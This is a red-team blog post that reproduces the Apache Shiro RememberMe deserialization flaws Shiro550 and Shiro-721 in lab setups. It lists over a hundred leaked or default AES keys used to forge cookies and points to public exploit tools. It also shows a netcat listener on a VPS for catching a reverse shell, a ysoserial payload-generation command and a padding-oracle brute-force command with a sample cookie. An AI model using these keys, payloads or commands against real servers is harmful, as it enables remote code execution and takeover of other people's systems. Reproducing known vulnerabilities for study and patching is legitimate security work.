← Back to all posts
Web Vulnerability Reproduction and Analysis3 min read

Red Team Arsenal—Apache Shiro Deserialization Vulnerability

Apache Shiro RememberMe deserialization (Shiro550) affects applications when the RememberMe AES key is compromised, while Shiro-721 exploits a padding oracle vulnerability affecting specific Shiro versions.

Read in Chinese→

Apache Shiro RememberMe Deserialization (Shiro550)

Apache Shiro is a powerful and easy-to-use Java security framework that provides authentication, authorization, cryptography, and session management.

Affected Components

Apache Shiro <= 1.2.4

Actual Scope of Impact

If the AES key used by Shiro’s RememberMe feature is leaked, a deserialization vulnerability will result, regardless of the Shiro version.

Keys Currently Collected Online

kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
```## Vulnerability Reproduction

Recommended tool: https://github.com/feihong-cs/ShiroExploit\_GUI/

Environment setup: Docker is recommended.

For a simple test, capture and replay a request. If `rememberMe=deleteMe` is displayed, the vulnerability may be exploitable.

![image-20200526143206170](/images/5df7300d-4472-4e76-b0aa-34eceeabe98e.png)

### Shiro550 Does Not Require a RememberMe Cookie

Because this vulnerability produces no output, we first need to confirm whether it exists.

DNS resolution logs are used here to make this determination, at http://www.dnslog.cn/上获取子域

\[Failed to transfer externally linked image. The source site may have anti-hotlinking enabled. It is recommended to save the image and upload it directly \(img-qMyl0JGb-1591176591939\)\(https://gitee.com/godzeo/blogimg/raw/master/img/20200526134702.png\)\]

Start `nc -lvp 666` on the VPS.

Obtain a reverse shell.

\[Failed to transfer externally linked image. The source site may have anti-hotlinking enabled. It is recommended to save the image and upload it directly \(img-E2Ywd8hN-1591176591940\)\(https://gitee.com/godzeo/blogimg/raw/master/img/20200526135057.png\)\]

Success.

![image-20200526135221232](/images/751a5f67-6cb3-40a1-bfa3-6709046e452a.png)

# Apache Shiro Padding Oracle Attack \(Shiro-721\)

Apache Shiro is a Java security framework commonly used in enterprise environments. Because `Shiro` uses `AES-CBC` mode for encryption and decryption, it is vulnerable to `Padding Oracle Attack`, allowing an authenticated attacker to perform deserialization operations as well.

## Affected Components

Apache Shiro \< 1.4.2

Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1

## Vulnerability Reproduction

Shiro environment WAR package: https://github.com/jas502n/SHIRO-721

Environment setup: Tomcat 7 + Shiro 1.4.1

\[Failed to transfer externally linked image. The source site may have anti-hotlinking enabled. It is recommended to save the image and upload it directly \(img-s52cCJP5-1591176591942\)\(https://gitee.com/godzeo/blogimg/raw/master/img/20200527140205.png\)\]

This vulnerability can only be exploited after logging in and obtaining a valid `Cookie: rememberMe=XXX`.

It may not appear easy to exploit, but some websites allow open registration.

Moreover, this vulnerability does not require knowing the server-side key because exploitation involves brute-forcing the cookie.

Visit the Shiro login page and log in.

![image-20200527140300087](/images/cdb15c87-4890-4bf7-a8d5-7c618107a98d.png)

After logging in, access an application function and capture the request.

\[Failed to transfer externally linked image. The source site may have anti-hotlinking enabled. It is recommended to save the image and upload it directly \(img-2EvvYPE2-1591176591943\)\(https://gitee.com/godzeo/blogimg/raw/master/img/20200526145750.png\)\]

![image-20200527140407681](/images/f77903d9-f28d-4b24-a37c-b0aa8621b29a.png)

Enter the RememberMe cookie as required.

The graphical tool failed for an unknown reason, so use the original method.```
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 'touch /tmp/zeo' > payload.class

Exploit download: https://github.com/Geekby/shiro\_rce\_exp

Run the exploit to perform the brute-force attack.

python shiro_exp.py http://127.0.0.1:8080/samples-web-1.4.1/ X8E4mP300AMIGgimdqHhecoyzK64eNcoovKC5xa+G67RC4OA6mrky14UY5bYLHJhjc5lndRe5iU/cRt4NyDa0QguUKKNC3eBIYqSIVrx5uFLrBs9dzFhG46oMhcIXh80IwXcR8PYSUrm1V2dCydUBdOHLEahzysAi4ED/zxv8HQyvQYaSCdkJdKP5Kh8yagxYNvl6GBCO0FyLxn/dzeVuCfyPh6fIJi9uEIdJ5e72UTKAph+ot5DpcolN2l0DibOE7NCm74YpBrw43RlTNJrtBLh2ngsphanUPpC42K3TZgrXieiMnotTi3VODQmgIa+fF0+ZVxKBOl7VwMlZzJgkmxY2e5Ql28Q2VVt+Wk+jEad/zok70ZjDUUCiopEJlYIlkG22C1zbEbia8IUMtRTsJZnF612x4YvlfX9RFo6bnWXpS/bKFwbaJPiFr6bSTfSy1LInH9u1vscfSMEB8YZ+w6aq73kH3szftfbm/MskuWgqfU28ZLPAbml4IhH3n7c payload.class

After brute-forcing,

the cookie generated by the padding oracle attack is obtained.

image-20200527170142533

Copy the cookie and replay the request to execute the command successfully.

image-20200527170316763

References

http://www.oniont.cn/index.php/archives/298.html